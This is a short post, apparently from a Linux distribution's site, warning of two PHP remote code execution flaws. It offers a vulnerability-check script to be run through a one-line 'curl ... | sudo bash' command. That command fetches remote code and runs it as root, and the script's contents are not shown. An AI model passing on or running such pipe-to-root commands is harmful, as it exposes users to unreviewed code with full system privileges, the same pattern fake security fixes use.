A major security flaw has just been disclosed in PHP: CVE-2026-109618 and CVE-2026-109619, both allowing unauthenticated remote code execution. It affects the PHP interpreter itself, not your application code, so a perfectly written website can still be vulnerable or also your local computer if you have a web server using PHP. Exploitation is already happening in the wild and the NSA has issued an advisory urging immediate patching.
I have published a script for fast checking it in your own machine:
# run it directly and using sudo
curl -fsSL https://files.elivecd.org/scripts/vulnerability-php2shell-check-lite.sh | sudo bash
# if you want to read the code, just use wget with the link to download the file
That's a verification script that inspects the installed PHP version, whether vulnerable PHP is serving traffic, attack attempts in the last 30 days of access logs, and common compromise indicators such as webshells, suspicious child processes, outbound connections and persistence. It is read-only, changes nothing, and prints a final verdict: HEALTHY, VULNERABLE, ATTACKED-BUT-PATCHED, HIGH RISK or COMPROMISED.

